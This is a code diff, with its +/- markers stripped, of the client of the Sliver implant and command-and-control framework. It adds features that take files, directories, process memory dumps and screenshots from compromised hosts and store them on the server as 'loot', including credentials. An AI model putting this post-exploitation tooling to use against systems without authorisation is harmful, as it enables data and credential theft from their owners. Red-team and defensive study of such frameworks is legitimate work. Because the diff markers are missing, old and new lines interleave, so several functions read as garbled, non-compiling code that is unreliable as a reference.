func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
}
}
+11 -1
View File
@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
}
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
+8
View File
@@ -305,6 +305,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
// TODO: Use generics or something to check in a slice
connectionStrategy := ctx.Flags.String("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -319,6 +326,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ConnectionStrategy: connectionStrategy,
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
+3 -2
View File
@@ -31,9 +31,9 @@ import (
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for _, domain := range domains {
for index, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domain += "."
domains[index] += "."
}
}
@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
})
con.Println()
if err != nil {
+1 -1
View File
@@ -89,7 +89,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if aesEncrypt {
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
+5 -1
View File
@@ -176,7 +176,11 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
if loot.Name == loot.File.Name {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
}
}
table.Flush()
options := strings.Split(buf.String(), "\n")
+5 -4
View File
@@ -159,14 +159,15 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
}
table.Flush()
@@ -401,7 +402,7 @@ func isText(sample []byte) bool {
// last char may be incomplete - ignore
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
// decoding error or control character - not a text file
return false
}
+207 -67
View File
@@ -19,9 +19,14 @@ package loot
*/
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
"fmt"
"path"
"io"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -29,8 +34,198 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
var lootType clientpb.LootType
var err error
if lootTypeInput != "" {
lootType, err = lootTypeFromHumanStr(lootTypeInput)
if err != nil {
/*
If we get an error, that means that this loot type was invalid.
We will leave it up to the caller to handle the error (output it
to the console for example)
*/
return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
return lootType, err
}
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
if lootFileType == -1 || err != nil {
if isText(data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
return lootFileType
}
/*
Eventually this function needs to be refactored out, but we made the decision to
duplicate it for now
*/
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
}
})
con.PrintAsyncResponse(download.Response)
}
if download.Response != nil && download.Response.Err != "" {
return nil, fmt.Errorf("%s\n", download.Response.Err)
}
// Decode the downloaded data if required
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("Decoding failed %s", err)
}
}
return download, nil
}
func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
if lootName == "" {
lootName = fileName
}
lootMessage := &clientpb.Loot{
Name: lootName,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: fileName,
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
lootMessage.CredentialType = clientpb.CredentialType_FILE
}
return lootMessage
}
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
control := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
loot, err := con.Rpc.LootAdd(context.Background(), loot)
control <- true
<-control
if err != nil {
con.PrintErrorf("%s\n", err)
}
if loot.Name != loot.File.Name {
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
} else {
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
}
return
}
func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
// Was the download successful?
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
/* Construct everything needed to send the loot to the server
If this is a directory, we will process each file individually
*/
// Let's handle the simple case of a file first
if !download.IsDir {
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
SendLootMessage(lootMessage, con)
} else {
// We have to decompress the gzip file first
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
if err != nil {
con.PrintErrorf("Could not decompress downloaded data: %s", err)
return
}
/*
Directories are stored as tar-ed gzip archives.
We have gotten rid of the gzip part, now we have to sort out the tar
*/
tarReader := tar.NewReader(decompressedDownload)
// Keep reading until we reach the end
for {
entryHeader, err := tarReader.Next()
if err == io.EOF {
// We have reached the end of the tar archive
break
}
if err != nil {
// Something is wrong with this archive. Stop reading.
break
}
if entryHeader == nil {
/*
If the entry is nil, skip it (not sure when this would happen,
but we do not want to attempt operations on something that is nil)
*/
continue
}
if entryHeader.Typeflag == tar.TypeDir {
// Keep going to dig into the directory
continue
}
// The implant should have only shipped us files (the implant resolves symlinks)
// Create a loot message for this file and ship it
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
be the end of the file
*/
fileData, err := io.ReadAll(tarReader)
if err == nil {
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
SendLootMessage(lootMessage, con)
}
}
}
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
remotePath := ctx.Args.String("path")
fileName := filepath.Base(remotePath)
name := ctx.Flags.String("name")
if name == "" {
name = path.Base(remotePath)
}
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
return
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err) // Download failed
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
// Determine type based on download buffer
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
if lootFileType == -1 || err != nil {
if isText(download.Data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(remotePath),
Data: download.Data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
loot, err = con.Rpc.LootAdd(context.Background(), loot)
ctrl <- true
<-ctrl
lootType, err := ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
download, err := PerformDownload(remotePath, fileName, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Determine type based on download buffer
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
LootDownload(download, name, lootType, lootFileType, ctx, con)
}
+31 -3
View File
@@ -24,7 +24,9 @@ import (
"io/ioutil"
"os"
"path/filepath"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Flags.Int("pid")
name := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("loot-name")
if pid == -1 && name != "" {
pid = GetPIDByName(ctx, name, con)
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
})
con.PrintAsyncResponse(dump.Response)
} else {
PrintProcessDump(dump, saveTo, hostname, pid, con)
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
}
}
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
}
return ""
}
func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = dumpFileName
}
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
loot.SendLootMessage(lootMessage, con)
}
+38 -10
View File
@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
hostname := getHostname(session, beacon)
if screenshot.Response != nil && screenshot.Response.Async {
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintScreenshot(screenshot, hostname, ctx, con)
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
})
con.PrintAsyncResponse(screenshot.Response)
} else {
PrintScreenshot(screenshot, hostname, ctx, con)
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
}
}
@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
}
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = screenshotFileName
}
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
loot.SendLootMessage(lootMessage, con)
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
+44 -7
View File
@@ -21,6 +21,7 @@ package sessions
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -97,12 +98,23 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
}
} else {
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
sessionsMap := map[string]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
PrintSessions(sessionsMap, con)
PrintSessions(sessionsMap, filter, filterRegex, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
@@ -110,7 +122,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
@@ -128,7 +140,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Last Message",
"Health",
})
} else {
@@ -164,8 +176,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
}
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
@@ -175,9 +188,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
}
} else {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
@@ -185,7 +198,31 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
})
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
+6 -2
View File
@@ -68,9 +68,12 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
}
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
SessionID: session.ID,
})
defer cancelTunnel()
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -78,7 +81,8 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
defer tunnel.Close()
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// SocksStopCmd - Remove an existing tunneled port forward
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Int("id")
socksID := ctx.Flags.Uint64("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
return
+5 -3
View File
@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
},
}
exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
// execute-shellcode
case sliverpb.MsgTaskReq:
@@ -289,9 +289,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "sideload"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSideload(sideload, hostname, ctx, con)
exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
case sliverpb.MsgSpawnDllReq:
spawnDll := &sliverpb.SpawnDll{}
@@ -309,9 +310,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "spawndll"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
case sliverpb.MsgSSHCommandReq:
sshCommand := &sliverpb.SSHCommand{}
+2 -2
View File
@@ -26,7 +26,6 @@ import (
"io/ioutil"
"log"
insecureRand "math/rand"
"path"
"path/filepath"
"strconv"
"strings"
@@ -109,7 +108,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
App: grumble.New(&grumble.Config{
Name: "Sliver",
Description: "Sliver Client",
HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
HistoryFile: filepath.Join(assets.GetRootAppDir(), "history"),
PromptColor: color.New(),
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
@@ -215,6 +214,7 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
+25 -7
View File
@@ -1,5 +1,23 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io"
@@ -116,7 +134,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
}
tunnel, err := p.dialImplant(ctx)
if cancel != nil {
cancel()
defer cancel()
}
if err != nil {
return
@@ -124,8 +142,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
// Cleanup
defer func() {
go conn.Close()
Tunnels.Close(tunnel.ID)
conn.Close()
GetTunnels().Close(tunnel.ID)
}()
errs := make(chan error, 1)
@@ -172,7 +190,7 @@ func (p *ChannelProxy) Host() string {
return host
}
func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
@@ -185,7 +203,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -219,7 +237,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
return 30 * time.Second
}
func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
if _, err := tunnel.Write(wc.Peeked); err != nil {
errs <- err
@@ -232,7 +250,7 @@ func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
errs <- err
}
func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
n, err := io.Copy(conn, tunnel)
log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
errs <- err
+70 -34
View File
@@ -20,11 +20,10 @@ package core
import (
"context"
"fmt"
"io"
"log"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -37,16 +36,16 @@ import (
var (
// SocksProxies - Struct instance that holds all the portfwds
SocksProxies = socksProxy{
tcpProxies: map[int]*SocksProxy{},
tcpProxies: map[uint64]*SocksProxy{},
mutex: &sync.RWMutex{},
}
SocksConnPool = sync.Map{}
SocksProxyID = 0
SocksProxyID = (uint64)(0)
)
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
ID uint64
SessionID string
BindAddr string
Username string
